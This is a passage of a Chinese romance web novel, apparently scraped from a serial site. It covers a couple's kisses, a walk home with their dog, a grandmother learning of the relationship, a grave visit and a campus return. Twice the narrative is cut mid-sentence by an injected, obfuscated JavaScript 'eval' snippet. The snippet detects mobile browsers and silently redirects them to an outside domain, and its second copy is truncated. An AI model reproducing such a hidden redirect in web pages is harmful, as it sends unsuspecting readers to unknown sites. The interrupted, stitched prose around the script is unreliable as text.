她双手还攀在谢闻颂的肩膀上,后者从她腿弯打横抱起,几步走至沙发边,将她放在长沙发上。 谢闻颂又走到鞋柜边拎起那双粉兔子拖鞋,往返把她脚上的高跟给换下来。 温遇低头看他帮自己换鞋,碎钻高跟被谢闻颂拎走放入鞋柜,等这一切做完,他又走到沙发旁边,一边似雀啄碰她的唇,一边把她压在沙发上。 刚才的微醺此刻好像又回来似的,温遇都怀疑他是不是也喝了酒,不然为什么刚碰上唇就有种喝醉的感觉。 不过他是开车来的。 又怎么会喝酒。 唇齿交缠的热气从潮湿黏滞中旋转上升,像团根本散不尽的雾气蒙在眼前,温遇理智的思绪逐渐远去,双臂不自觉抬起重新虚虚圈着他的脖颈,感受到舌尖被他吮麻,又被轻轻放开,仿佛手中将松未松的风筝线,又想放开又舍不得放开,最后不过几秒又重新再被勾过去。 谢闻颂明显比她会亲,给她换气的时间时似有若无贴着她的唇轻轻用牙齿刮,将她唇上干燥的地方一点点濡湿,等过几秒又重新伸舌进来,带着口腔中的水渍搅动,互相给彼此分享最亲密的气息,发出轻微的,却不容忽视的声音。 谢闻颂吻完她的唇又去亲她的脸。 温遇脸上干掉的泪水仍旧咸涩,被他唇上的湿意微微化开,从唇上浅浅的纹路渗进去,泛起极其细微的痛感,却让他脊背瞬间僵直。 谢闻颂想起她刚才的眼泪。 仿佛把这几天女孩心里也不好受的情绪,完完全全渡到了他眼前。 他怎么会心不软。 他怎么舍得。 可他还是让她哭了。 他不想再让她哭了。 谢闻颂呼吸也有点急促,早已熨热的唇从她脖颈一路下到锁骨上窝,唇缝往里收紧带气,在皮肤很薄的位置吮出一块红痕。 温遇正和喘息对抗,把他的名字咬得破碎。 谢闻颂拂开她颈侧的长发,贴着她耳朵说了句。 “宝宝,好爱你。” 57.荔枝 57/ 温遇觉得大数据一定是有鬼。 要么就是谢闻颂默默在远程操控她手机了。 不然怎么每天一点进各个社交平台,都给她推流各种感情类的相关视频。 有些内容甚至羞得她都不敢看第二眼。 她觉得自己平时也不是爱看这种东西的人啊。 这大数据有毒吧。 从早上到现在,温遇已经卸载了好几个平时常用的app,然后又因为不得不用再给下回来。 等到绑定手机号登录以后,那些推流的数据又仿佛回来似的,等到她再点进去,仍旧是卸载之前的东西。 “……” 看来这手机是不能要了。 坐在工位上的温鱼鱼把手机高高举起,轻轻放下,双手格挡开刘海捂住脸。 都、怪、谢、闻、颂。 更、怪、她、自、己。 把事情说清楚就说清楚了,怎么后来不知不觉又扯到吻技上面了。 第二天上班还戴了个口罩,吃饭的时候不免要摘下来,温遇被林檬和余源四只眼睛狠狠盯住,三百六十度无死角视线问她嘴是怎么回事。 只是有点肿而已。 怎么会这么盯着她。 温遇刚想说自己这两天吃辣吃太多,林檬已经啧啧摇头,提前中断她的解释。 “你男朋友真猛啊,不是,劲这么大吗。” “……” 温遇露出一个牵强的笑。 她其实很想说,猛的那个人明明是她。 - 临近下班的时间,温遇还在写资料,她认真起来不太注意时间,只是在工作收尾时瞟了眼电脑右下角。 不知不觉竟然已经忙到了七点。 刚才林檬和她打招呼走的时候感觉像是才发生的事情。 电脑一边挂着微信小窗,温遇无意间瞟了眼,发现闲聊群的消息飙升,如果没记错她一个小时前刚刚清过。 到现在又多了几百条。 收尾工作基本完成,温遇把最后一点咖啡喝完,随手点开闲聊群,发现他们共同都在聊一个人。 楼下咖啡厅戴口罩帽子墨镜牵狗的帅气小哥哥。 “……” 没点开照片以前,温遇纯靠吃瓜的想象,还在暗自和谢闻颂作比较。 点开照片以后,温遇恨不得原地自戳双目。 下一秒,温遇直接退出电脑登录,确认三次已退出这才给某个人发消息。 小鱼丸了:你什么时候来的???!!!! 小鱼丸了:为什么没和我说。 温遇用恶狠狠地语气输出:你别告诉我楼下的“185帅得雌雄难辨还牵条靓狗看起来就很有个性的弟弟”说的是你? 这是刚才群里馋得嗷嗷叫的姐姐们给谢闻颂冠的名。 虽是疑问句。 不过温遇单看一张并不太清楚的照片基本确定这就是某只狗。 温遇憋了口气在胸腔里,正不上不下着,还没彻底呼出去,就看见对面人弹出来的消息。 Bigboss:我187,谢谢。 Bigboss:很有个性,这点倒是真的。 “……” ?大哥? 现在是在讨论你185还是187的时候吗? 还有,谁问你有没有个性了? 小鱼丸了:别告诉我你打算一直在下面等着。 温遇站起身,拎着围巾一角在脖子上裹了一圈,顺手把自己夹在隔板上的小灯关掉,单手握住手机,看谢闻颂回了什么。 Bigboss:来接女朋友下班,哪有先走的道理? 小鱼丸了:臭屁。 Bigboss:臭屁也等。 “……” 温遇口罩绳刚挂上一边的耳朵,看到这句话没忍住在心里翻了个白眼。 不过公主向来口嫌体直,穿衣服的时候嘴边的笑都没落下去。 虽然被口罩遮挡,眼梢也没忍住愉悦弯起,火速挎上自己的小包,小跑着直奔电梯间。 楼下的咖啡厅温遇也没少去,打眼一瞅就看见了坐在靠里面的谢闻颂。 灰色兜帽卫衣裹不住他浑身那副松散劲儿,已经返厂不知道多少次的渔夫帽仍旧罩着那颗小小的头,那张脸让墨镜围巾口罩几乎给挡了个干净。 所以群中的姐姐们是怎么透过现象看本质的? 温遇在外面端详半天,感觉除了感觉对面估计是个bking拽王之外什么也感觉不到。 毕竟某C家的围巾还是一眼就能认出的。 温遇正站在外面想呢,手机振动震得她掌心发麻。 没去看手机,她直接推开玻璃门进去。 核桃比某人积极多了,原本趴在地上耷拉着耳朵,嗅到主人另一半的气息,小腿顿时从地上蹬起来,黑葡萄似的水汪汪眼珠盯着她,眼里是纯真的开心愉悦。 温遇照旧蹲下身先撸撸狗,余光扫了眼坐在旁边的人。 谢闻颂应该是早就看见她了,看看等到她走到面前才抬起眼,隔着镜片将温遇从上到下看了一遍,最后定格在她脸颊的口罩上:“你——” “戴口罩干嘛。” 温遇一听,火气噌一下就上来。一想到这人全副武装坐在这,还问她为什么戴口罩:“你还问我为什么戴口罩?” “我嘴肿成什么样你不知道吗?” “肿成什么样?” 谢闻颂从座位上站起身,往女孩这边凑近几步。 说话时捎着他那套独有的腔调,明明什么都知道也什么都明白,却还是憋着股坏劲儿想让对方把半截话给补全,强势让对方进入自己的节奏。 “你自己看!”温遇手指将口罩勾拉到下颌,露出只擦了点果味唇膏的嘴唇,泛起薄薄的一层水润。 其实肿到现在基本退得差不多了,只残留了点红。 谢闻颂墨镜后的眼神微微变化,他朝温遇勾了勾手指,忍着笑:“过来点。” 温遇往前走两步,谢闻颂手指挑开靠里侧的口罩绳,另外一边仍挂在耳朵上,面庞往下倾,就那么猝不及防地亲了她一下。 有过类似亲密的时刻不在少数,可温遇每次却还是能在事后反应半天。 温遇眨巴两下眼睛,后知后觉把口罩重新给拉上去,耳廓又有点发烫的趋势。 “干嘛又偷亲,讲不讲武德?” 谢闻颂自动忽略这句堪比撒娇的控诉,心情颇好地往两边摊手,架在耳朵上的两只眼镜框都恨不得跟着飞起来:“挺好吃的。” 温遇脑袋轰一下炸开,愣愣问:“什么好吃?” 某人歪头,学起平时核桃做坏事之后装无辜的模样。 “唇膏草莓味的?” 温遇意识到自己下班前涂的唇膏估计刚才就被他品出来,一直憋到现在才说。 戴好口罩,温遇又往四周瞟了瞟,确认没看见什么熟人,这才反唇相讥:“怎么,你嘴找核桃借的?” “……” 哦。 骂他是狗。 这女人的攻击力有时候真是强的没边。 谢闻颂听完之后没什么情绪变化,甚至相当认真地往下俯身,向某只小狗发问:“你今天把嘴借给我用了?” 核桃不明白他在说什么,还是汪了一声。 某人揣着明白装糊涂地问了一通,然后把眼神重新给到温遇,那意思大概是说“我问完了,答案在这,你自己翻译吧。” “……” 臭混蛋就是臭混蛋。 今天晚上温度不冷,温遇提议他们可以走着回家。 谢闻颂自然没什么意见,就是刚走几步就在原地停住,直至温遇转过头问他:“怎么了?” 他主动伸出手:“天连带着手有点冷,想被你牵一下。” 温遇往回走几步,相当自然握住他的手,女孩不自觉歪头,有点好笑地看着他:“谢闻颂,怎么现在牵个手都这么扭捏。” “想牵就牵了,还找什么天气凉作为借口。” 颇不争气地看了他一眼,温遇带起两个人十指相扣的手,口罩沿上方的眼睛因为笑微微弯起:“你看,谢闻颂,我比你大方。” 她笑,谢闻颂也想跟着笑,他似乎很赞同她这句话:“嗯,你比我大方。” “……” 温遇的笑收敛了几分,敏锐察觉到他这种语气,除了附和之外还有点得逞的意味。 谢闻颂如果想藏必不会让她感觉到,如果她能感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794434|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这么明显,那就是他故意透给她的。 他就想主动让自己牵他而已!!! 温遇反应过来,眼神一瞬间变了。 可恶。 她又被他骗了。 这人费尽心力老是想让她主动一把。 可她又不是没主动过。 只不过主动的代价就是今天要戴口罩而已。 如果是夏天,锁骨上那块也根本挡不住,现在的天气还可以穿稍微高领的衣服。 温遇都懒得抬腿踢他了。 反正这家伙本来就是把不安好心放在她最容易碰到的地方,时不时就拿着自己那副拿人的腔调把她给勾进去。 然后用早就准备好的绳索一圈一圈给她套上。 惯常是个坏人。 谢闻颂一手牵核桃,一手拉着她,说话之间墨镜最下面微微泛起水汽,温遇从侧面看他,感觉睫毛都是湿漉漉的,像含了层霜。 这人沉默的时候,温遇也不太能读懂。 “前几天我确实有些情绪。” 谢闻颂用指缝夹住牵引绳,另一只手也握上她的,两人等在亮起红灯的街角,看似在等待红灯变绿,其实是在等他的下一句话。 “这是我的问题。” “而且以后我们顺其自然,什么时候告诉谁都由你来定,我尊重你的一切决定和想法。” “因为你开心,我才会开心。” 这话说得相当乖巧,温遇也知道他说的是真心话,她余光已经瞟见红灯变绿,却还是站在原地没动。 怎么谈个男朋友跟个小孩似的。 温遇感觉自己抽空得去考个幼师资格证。 她注意到某人的围巾都和兜帽卫衣的绳系在一起,也不知道这人是怎么匆忙换了套衣服就来楼下咖啡厅接她。 还带了只小可爱核桃。 “真的以后都听我呀。” 温遇故意逗他,把他刚才的话挑挑拣拣重要的又问一遍。 相比起她的逗弄,某人延续刚才的认真:“真的。” 谢闻颂从不在这种态度下作假。 他向来说一不二。 温遇口罩下的唇角压平,心底却是被重重一击。 爱是一种奇妙的相互作用,她不是个木头人,面对谢闻颂的这种态度,也很难不心动。 这种心脏持续下陷的感觉堪比失重坠落,逐渐演变成一种难言的慌乱。 温遇眼睫低垂,一直在想他刚刚的话。 他说尊重她的想法和决定,将他们关系的主导权给她。 这不是妥协,这是因为,太过在意她。 太过在意,以至于从来不会计较谁在爱里付出谁多谁少,他们本身对彼此的了解,也不会让一方失了偏颇。 无言的总是默契。 无言的也总是感动。 他们之间的感情从来都不是在各自世界里延伸,彼此博弈个输赢为止。 爱情不是擂台赛,一定要拼个头破血流才叫尽兴,爱也可以很温和,温和地包容一切。 谢闻颂从不觉得自己输。 但他只想让温遇赢。 谢闻颂怕她不信似的,腾出来手就要和她拉勾:“那我们拉勾约定!” 温遇把他的手往回推,一边笑一边自己往前走:“幼不幼稚。” 哪里幼稚了? 这不是证实他诚意一种很好的方法吗? 而且他们小时候也没少拉勾。 谢闻颂站在原地没动,核桃往前走两步,又被牵引绳给拉回来,一脸疑惑地看向自家赌气的主人。 小狗疑惑,小狗不说,小狗只直勾勾盯着看人类的世界精彩纷呈。 温遇背着身往前走,感觉出来某人没跟上来,也知道他还在原地等自己哄。 这幼师一点儿也不好当呀。 女孩无奈轻笑,她没转身站在几步开外的地方,只是悄悄把一只手背到身后,然后伸出一根小拇指,用动作代替语言。 刚刚还郁闷的某人自然没错过她的动作,看见的那一瞬间就笑了,心里的蜜罐不受控制打翻,糖淋了一地。 谢闻颂几步上前,手指勾住她的。 果然,她还是宠自己的嘛。 这不是来哄他了。 58.荔枝 58/ 清明节前夕,温遇和谢闻颂说自己可能要回余杭给外公扫墓。 唐熹前年冬天的时候摔过一跤,身体较之前差了很多。 因为年轻时当老师的原因,她本来还保持着周末到市图书馆看书的习惯,也不得不因为身体原因一搁再搁,时间一长,便也慢慢断掉曾经养成的习惯。 这些改变温遇也看在眼里,知道人上了年纪以后,有些曾经做起来相当熟稔的事也会渐渐在时间里被不得已而舍弃。 墓园在西郊,正常开车从市里走也要两个小时起步,唐熹坐不了这么长时间的车,以前都是她们两个人去,自从她摔跤以后,去的人变成温遇自己。 只不过今年好像不太一样,所以温遇想着还是和谢闻颂说一下。 结果他倒没什么犹豫,直接说会陪她去。 温遇手抵在桌边,隔着餐桌张了张口,刚想说你要是有忙的事可以去忙,不用推掉事情陪我也没关系,而谢闻颂像是早就猜到她要说的这句话似的,上前拨了拨她的头发:“我没忙的事,放心。” 温遇听他这样说,心里也再没有别的顾虑,只不过她心里想了别的事,斟酌开口:“我这次回家,打算和外婆说我们在一起的事。” 谢闻颂的表情没有什么变化,温遇却还是察觉出他眼神似乎有细微的改变,速度太快,她摸不到具象的情绪。 “好。”谢闻颂拉着她往沙发那边走,温遇瞧见他拖鞋上的兔耳朵一晃一晃的。 她越看越觉得,走在前面拉着她的这个人,好像也长出了尾巴。 跟着兔耳朵在一晃一晃。 谢闻颂低头从茶几的纸巾盒里抽出几张,帮她擦刚刚倒水时指尖蹭上的水。 “你清明节,需要去扫墓吗?” 谢闻颂低垂的睫毛很轻翕动一下,挺平静开口:“我年初的时候去过了。” 温遇还在猜他去给谁扫墓,谢闻颂接着补充完后半句:“我外公的。” 关于谢闻颂的外公谢怀崇,温遇有几分印象。 刚工作那会儿,温遇在工作区听过同事聊起谢怀崇,外界对这位医学界大拿的印象还停留在书本层面的浅薄了解上,加之他本人异常低调,外界对其了解甚少。 温遇也是因为和谢闻颂的关系,才对这位德高望重的老人有一些不为外界所知的了解。 比如谢闻颂的名字,就是谢怀崇起的。 因为温遇曾经在谢闻颂的桌角看到过一副谢怀崇赠予他的墨宝—— 喜闻颂时。 - 为了赶着时间上午回余杭,温遇买的两张票都是早上起飞,蓝湾距离机场有一段路程,所以两个人都起得很早。 核桃前一晚上已经被谢闻颂送去林思睿那儿了,他俩待两三天就回来,时间间隔并不算特别长。 温遇没跟着去,等到谢闻颂裹着一身冷气回来的时候,随手把车钥匙放在茶几上,猝不及防笑了声。 “林思睿说咱俩是要去过二人世界开心了,留他一个人照顾狗子辛苦,讽刺我半天。” 谢闻颂端起温遇刚倒好的水,杯沿抵在唇边:“上窜下跳的,生怕别人不知道他是只单身狗。” “……” 温遇不禁莞尔,“你把这话和他当面说了?” 谢闻颂放下玻璃杯,半倚在沙发上看她,唇边噙起抹欠揍的笑:“那倒没有。” “我怕他把我和核桃都给赶出来。” “这么聪明啊你。” 温遇双手撑在沙发上,挪着身体向他那边靠近,忍不住伸手把他额前的头发撩开又拨弄回去,像摸小狗毛一样。 谢闻颂寸寸上抬眼神,唇边那抹笑始终未曾降落,主动将半张脸贴在她微微发热的手心,试图坐实他此刻就是只小狗的事实。 他唇角与温遇的掌纹渐渐贴合,呼吸喷薄出的每一点热气都像条条细窄的丝带,一条条勒紧温遇的神经。 “那你不考虑,奖励我点什么吗?” 温遇很果断地在他唇上亲了一下,然后坐回刚才的位置,留谢闻颂一个人还维持着刚才的状态,似乎对这一下不太满意似的。 在他幽怨的目光到来之前,温遇无奈地指了指自己的嘴唇:“还疼着,理解一下。” 她略带歉意看向某人:“要怪就怪小狗太用力了,没办法。” “你怪他吧。” “……” 谢闻颂想,他要怎么怪自己。 于是他瞥到了角落里套这个塑料袋的榴莲,装作没看见似的默默挪开目光。 那是前几天温遇从商场拎回来的。 第二天还是没有要吃的意思。 于是他就觉得,这颗榴莲,存在得别有深意。 谢闻颂一点点将唇角绷平,想想都觉得膝盖有点疼。 算了,再忍几天。 - 温遇和谢闻颂到家的时候,唐熹已经做好饭在等他们了,这一路上温遇都在想该怎么在外婆那提自己和谢闻颂的事。所以刚开始吃饭的时候,她还有点心不在焉。 原本想往自己碗里夹的西葫芦,温遇直接夹到了谢闻颂的碗里,根本没有多加任何思考就做出的动作,而谢闻颂直接夹起吃掉,也没有任何惊讶似的。 温遇筷子收回来的时候才发现自己刚才做了什么,木讷地抬头,刚好和外婆颇具深意的笑容对上,脸腾一下红了:“我……” “有情况了?”唐熹从碗边摸上筷子,慈祥的笑容不减分毫,相比于温遇的不好意思,老人家显得平静很多,“可别想借口了,我看你俩之间什么情况比当年看学生作弊都清楚。” “……” “外婆。”温遇无奈之余又有点好奇,筷头刚粘上米饭,别扭又妥协似的开口:“有什么明显吗?” 谢闻颂仿佛自己是个事外人一样,目光落在温遇已经发红的颊边,在她耳边拱火似的笑一声,俨然一副看热闹不嫌事大的意思。 温遇抽空扭头瞪了他一眼,似乎还有点不解气似的,又往他腿上挠了一下。 感觉到旁边人脊背的绷直,鱼鱼公主终于满意停止自己的作乱。 外婆给他俩各盛了一碗汤,感叹之余全是欣慰:“你和小颂,我也放心,毕竟也是从小看到大的孩子。” “而且当初你满周岁的时候抓周,抓得还是小颂的手嘞。” !?!? 这句话让本就不淡定的温遇更加风中凌乱,嘴里含着的饭被她急急忙忙地咽下去,然后冒出一个疑惑的音节:“嗯?” 外婆见她这么不可置信,绘声绘色地开始讲起温遇抓周那会儿的事。 “两家做成邻居以后,因为都有着差不多大的孩子,话题总是很多可以唠得来的。” “抓周礼上,小颂也被他妈妈抱过来,原本想让你们两个都尝试着抓一抓,看能抓到什么。”外婆给温遇夹了几片西葫芦,接着叙事,“一圈人儿围在床边,就想知道你会抓什么,结果你眼睛溜溜地往周围看,一下子把小颂的手抓过来。” 外婆提到这,皮肤松散的眼角也没忍住向下弯起:“小颂没注意,被你拽一个趔趄。” “你倒是开心了,露出没长齐的牙一个劲在那笑,小颂被吓一跳,泪水就在眼眶里打转,愣是没落下来——” “可以了可以了!”温遇赶忙截停住外婆的话,她甚至都没勇气往旁边人的位置看,不用想也知道,现在整个餐桌上最得意的人到底是谁。 这也太社死了。 谁抓周会抓个人的手出来啊。 温遇你可真是有出息。 “你还不好意思上了。”外婆伸手敲了她脑门一下,继而看向谢闻颂:“人家小颂都没不好意思呢?” 温遇掩饰性地往嘴里扒饭,闻言鼓起两个腮帮子反驳:“是我抓的他,他当然好意思了。” 女孩用筷头戳碗里的米饭,嘟囔着:“丢脸的人明明是我才对。” 温遇将脸偏向一侧,像是生怕让谢闻颂看到她此刻脸上的窘迫一般。 她将目光落在餐桌一角的阳光上,耳边是外婆的笑声,空气里氤氲的热气混着饭菜香,试图在眼前蒙上一层水雾。 虽然这件事让她多多少少难为情,不过如果时间愿意在此刻多停留一会儿,倒也没什么不可以。 也就是在她想这件事的同时,从刚才就没怎么说话的谢闻颂倏然开口。 “我的荣幸。” 温遇一怔。 眼前的水雾逐渐退散开来,像是早就有计划般的提前宣告退场,取而代之是心里翻腾雀跃的海浪,碰击在礁石上,一遍又一遍地重复起这四个字—— 我、的、荣、幸。 温遇紧握筷子的手指微微蜷起。 又耍嘴皮子功夫。 别以为这样她就会“原谅”他。 “……” 好吧。 只是有点心软罢了。 …… 饭后,温遇避免尴尬,一个人默默跑到厨房去洗碗,可偏偏某个人并不想让她独处似的,悠哉悠哉地走到她旁边,然后从灶台旁边的橱柜里取出一双和她一模一样的胶皮手套戴上,自动开始清洗剩下的碗。 温遇有点纳闷。 谁说谢闻颂这人情商高的? 明明低得离谱。 知道她这个时候不太想面对他,还要巴巴地凑到自己眼前来。 温遇其实知道这人饭后八成是要跟进来的,善于预设的鱼鱼同学已经在心里做了一定地准备,为他可能问出口的话提前做预习。 结果精神绷紧了半天,旁边的人什么话也没说,就默默和她一起洗碗。 满腔的话堵在那儿不上不下,温遇索性也不说话。 谢闻颂挽到胳膊肘的袖口有往下掉的趋势,他这才看向温遇:“帮我一下?” 温遇看了他一眼,脱下胶皮手套,手指从边缘向上折,相当仔细认真地一路折到胳膊肘。 “好了。” 温遇刚想重新戴上手套,谢闻颂已经抢先一步拿走放在一边:“剩下的我洗就行,水太凉了。” “这不是有手套吗?” “……” 谢闻颂:“刚才一句话也不说,现在说话倒是中气很足。” 温遇开始和他较劲,双手撑在大理石桌沿:“我刚才怎么一句话没说?” “行,那就聊聊你把我拽过去那事。” 谢闻颂自是知道怎么找温遇痛点这件事的,属于典型的哪壶不该提哪壶。 “我不记得了。” 其实温遇一个人默默做预设的时候,想出来的最优解就是耍无赖。 大不了不承认,反正谢闻颂也不记得这件事发没发生过。 即使外婆旁观者目睹全过程,可若是当事人不承认,应该也没什么办法。 不过温遇也知道,这种事上,外婆也不会瞎说,她现在还能记得这么清楚,甚至能够准确用语言复刻当时的情况。不说百分百,百分之九十九肯定是发生过的。 只是说出来有点太难为情了,尤其是还是在当事人面前。 温遇一边别扭着,一边又因为这份从小到大一直延续的缘分而庆幸。 “噢。” “确实没想到,你从那会儿就开始觊觎我了。” 某人欠扁的声音夹含着笑音从旁边递过来,温遇最受不了他这副得意样,相当不满地驳他:“什么叫觊觎你?说话注意一点。” “要说觊觎,也应该是你觊觎我吧。” 温遇默默腹诽。 谁先暗恋的谁知道。 “嗯,是我觊觎你。” 谢闻颂顺着她的话承认,甚至相当认可地点头,眼睛一眨不眨地盯着她,就那么说出自己内心的想法:“我确实对公主存在非分之想。” “……” 怎么一言不合就打直球。 “你——” 温遇不想承认自己败了,但好像现实就是这样,于是“气急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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客厅里关掉灯,谢闻颂将被子拉到胸前,没什么困意,脑海里一直在想白天发生的事。 其实太早以前的事,他也记不太清,不过能从长辈的话里了解到他曾经和温遇小时候的故事,这种感觉相当奇妙。 好像他们之间的牵绊因为这些未知的小事更加紧密,再次跨越时间将他们重新拉紧。 这份成长的残遗,不管何时想起,都很悸动。 一只手臂横在眼前,彻底隔断来自四面八方隐形的微光,眼前彻底陷入黑暗,谢闻颂想起上次过年来的时候,唐熹找他说的话。 他的这份喜欢,其实深究起来,一点也不算隐秘,老人那天问他,是不是对小鱼有意思。 谢闻颂并不打算隐瞒,很郑重地说了句是。 一点也没有心思被戳破的尴尬,反而有一丝庆幸,庆幸自己这份喜欢,能被他人感受到。 爱着温遇这条路,他走得并不孤独。 他也不是没有勇气说出口,只是他一直不确定温遇的想法,他怕自己这样说了,会把她推得更远,会不会让她觉得不适。 比这份喜欢更重要的,是她。 这才是他将这份喜欢隐起来的理由。 比起在她面前说自己有多喜欢她,谢闻颂觉得太虚空,他的爱要落实到细节。 真正的爱不必多说,是可以感受到的。 每个人的心都像是一块松软潮湿的浸水海绵,愤怒、委屈、挣扎、不舍都是带着力量的拳头向它挤压。 于是悄悄躲在气孔里的水悄悄流出来,变成了眼泪。 他一边希望温遇能把脆弱交给自己,一边又不想让她掉眼泪。 其实他也很矛盾。 想到这儿,他在沙发上转了个身,将被子拉到眼前。 没过几秒,搭在沙发边沿的手被人握住,谢闻颂睁开眼,温遇像只小猫一样蹲在他旁边,反复用手感受他身上的体温:“冷不冷?” 谢闻颂看她一身毛绒绒白色的兔子睡衣,头上罩的帽子还有两只耷拉的兔耳朵,她一张小脸放大数倍在他眼前,想起刚才,他这时候倒是希望她哭一下。 压下心底罪恶的念头,谢闻颂嗓子有点痒,很轻地嗯了一声。 空间很暗,但奇怪的是,他看她的脸倒是很清楚。 “冷也没有被子了。”温遇刚回房间那会儿,什么事都做不下去,她总是在想谢闻颂睡没睡着,客厅是不是有点冷。 公主早已将洗碗时候恶狠狠的放话搁置脑后,掏出那颗最真诚的心去爱人。 她蹙起眉,“我房间里应该有毯子,你过来拿一下吧。” 谢闻颂跟着温遇进她的房间,温遇只开了一盏床头灯,他靠在门口,下颌轮廓隐没在黑暗里,只剩下一点暖黄的光将头发烫上颜色。 温遇放东西都有自己的地方,没几分钟就找到一张粉色的HelloKitty珊瑚绒毛毯,折起来递给他:“你先凑合一下,不行我明天再找更厚的被子。” 谢闻颂接过,说了句好。 其实他骗了她。 他一点也不冷。 他就是想多和她待在一起。 温遇见他拿了毯子没有要走的意思,以为他是睡不着,顺手从床头摸出来一瓶褪黑素,摇晃瓶身:“你要这个吗?” “……” “不用。” “噢。” 温遇刚要把手里的罐放回去,某人这时出声了。 “你的嘴好一点了吗?” “…………” 原来在这等着她呢。 “没好。”温遇这句话说得有点冷飕飕,带着没好气的意味。 “……噢。” 谢闻颂耷拉起脑袋,抱着毛毯就要走。 “等等。”温遇拉住他胳膊,很促狭地笑了下:“不过——” 她踮起脚在谢闻颂的唇上亲了下:“晚安吻还是有的。” 温遇双手捧起他的脸,似乎也被他这副失落的可爱模样戳中,唇边染上的笑意很深:“晚安,荔枝公主。” 59.荔枝 59/ 次日一早,两个人打车去西郊墓园。 温遇挺平静地扫墓,谢闻颂和她一起,温遇站在那儿,他就在旁边陪她,两个人都没怎么说话。 这种时候,默契的人总是不说话也还是会懂。 温遇抬头看向天空,其实春天早就已经来了,周围也肉眼可见地铺上绿色,将那些冬天残余的灰扑扑悉数抹去。 时间永远在往前走,不会迁就谁而故意等下去。 温遇心里想了事,掂起来有些沉甸甸的。 她眨了眨眼,握住旁边谢闻颂的手。 有时候不知道下一步该往哪儿走时,她也会下意识产生依赖身边人的心理,从很细小的动作透出来,就如此刻一般拉住他的手。 某人自动扭头看她,回握住她:“怎么了?” “没什么。”温遇笑着摇起头,视线垂到很低的地方:“就是觉得你都牵了我那么多次,我如果不主动牵回来,总觉得有点吃亏啊。” “嗯。” 耳边落下谢闻颂的笑声。 “都听公主的。” 温遇收拾好东西,说了句:“走吧。” 返程的路上,温遇困得直往谢闻颂的肩头栽,最后索性被某人直接揽到肩头睡,车后座足够宽敞,她睡得并不难受。 温遇的睡眠多多少少带点感应成分,可能是感觉到快要到位置,迷迷糊糊往车外看,一时半会还没缓过来:“这是哪儿?” 睫毛披了层沉重的壳,温遇边揉眼睛边往旁边人身上看,谢闻颂半边脸都在光里,睫毛尖让光芒站住脚,有种被晕染的错觉。 “你再看看?” 温遇狐疑地往窗外看,眼睛很尖地瞟到了熟悉的校牌,根本没想到谢闻颂会把终点定在这,脱口而出:“杭大?” 直至他们下车以后,温遇还站在刚刚落脚的位置,微仰起头注视起熟悉的校门。 在杭大毕业以后,温遇其实没再回来过这里,不是因为不想,一是很难抽出时间回来,二来可能也知道自己距离学生时代已经越来越远,回来看见曾经熟悉的一切,会情不自禁地感怀。 她不是很习惯长时间沉溺于过去时间的人,她也不习惯总是往身后看,除非是在现在的某个节点忽然与过去相串联,才会回头回望那么一点。 不过和谢闻颂在一起以后,回望归去似乎成为她自然而然就可以去做的事。 她试图去探究某人暗恋的心路历程,从记忆里摸出一点细枝末节。 可是现在也没摸到多少。 谢闻颂也不怎么提以前的事。 于是频频回望过去的那个人成了自己,反而注重现在和未来的人变成了谢闻颂。 这也是一种相当奇妙的感觉。 可是更令人想不到的是,谢闻颂会带她回来。 回来这个他们彼此都很少存在联系的地方。 明明他们大学是在两个城市读的。 谢闻颂留在南川,而她为了想离唐熹近一些,填报了余杭的志愿。 曾经觉得可以一直在一起互相陪伴的人,经过很短暂的分开最后又重新聚合。 站在此刻的坐标回望过去,温遇也会觉得朋友成恋人,看似很近,实则也很远。 温遇忽然想起程以桉那天在游艇上和她说过的话。 【比偶然的概率更大。】 先发动感情的那个人,既主动,又被动。 然后先主动的那个人,他说把主动权交给自己。 阳光一层又一层地从眼前飘落下来,像温柔叙事的前奏曲。 温遇眼前恍惚一瞬。 她也就是这个时候发现,谢闻颂的爱是温润如泉水一般的爱。 他的陪伴,就是最好的证明,他会一直陪着你,就像那只永远守护在她枕边的小熊。 哪怕你走得很快很快,快到他跟不上,阴影都只能够到你脚边。 在你没有到达下一站时,他不会停下的。 哪怕只有阴影,也要守护你。 这份爱单纯,简单,却不单一。 你一回头,他永远在。 他永远在燃烧那汹涌的爱意。 爱情总是会让人心甘情愿变得稚拙和笨拙。 是踩在雪地上的熊脚印,越在心里走,越清晰。 …… 既然今天已经来到这,温遇也决定带着谢闻颂四处走走看看。 校园内部变化不大,阳光自叶隙透过,在身上落成细细碎碎的光斑,他们双手扣在一起,看似没用什么劲,实则每一下指侧的摩擦,都能在脑内形成清晰的感知。 然后固化成心脏最外面那层坚实的壳。 温遇伸出手去接太阳洒下的浮光,她问:“为什么想到这里来?” “可能是太想看看你大学时代所走过的路。”谢闻颂蜷紧手指,刮起细小的摩擦,他声音很低:“总感觉那四年,离你太远了。” 谢闻颂总是能把遗憾的话说得这么轻飘飘,温遇压下心底不自觉漫上来的酸楚,故作轻松地笑:“这不是现在离得很近吗?” 她还举起他们彼此相牵的手,在证实刚刚的话——他们的确离得很近。 “嗯。”谢闻颂重新将她的手裹紧掌心里,“那你呢?那四年过得怎么样?” “还可以吧。”温遇认真回想:“就是按部就班地做完手头一件一件的事,空虚了就学习,饿了就吃饭,能量低的时候就一觉睡到下午。” 温遇说到这停顿片刻,然后往旁边看,问起他:“其实你当时觉得离我很远的话,可以来找我,我一定可以带你去学校旁边那家很好吃的串串,那家老板和我——” “我来过。” 谢闻颂用三个字截停住温遇刚才的话,她的手指跟着卸下劲,问:“什么时候?” 微风掀起女孩耳边的长发,时间似乎有意在此刻停留,将每一点声音都呈数倍放大在耳边—— “每个学期,我都来过。” “可是——” 